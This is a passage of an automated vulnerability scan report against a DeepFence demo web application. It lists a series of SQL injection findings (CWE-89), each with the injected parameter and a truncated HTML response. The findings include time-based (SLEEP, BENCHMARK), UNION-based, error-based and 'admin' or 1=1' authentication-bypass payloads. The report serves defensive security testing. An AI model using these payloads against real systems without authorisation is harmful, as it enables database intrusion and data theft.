script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1622
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 7300=7300 AND ('pKlZ'='
pKlZ
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1623
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# '&&SLEEP(5)&&'1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1624
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 7300=7300 AND ('pKlZ'='
pKlY
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1625
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+
CHAR(69)+CHAR(65)+CHAR(113)+CHAR(112)+CHAR(106)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1626Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1627
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# "*"
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1628
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1)) or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1629
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1
#ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1630
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1631
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1632
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ''
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1633
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1634Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1635
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1636
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
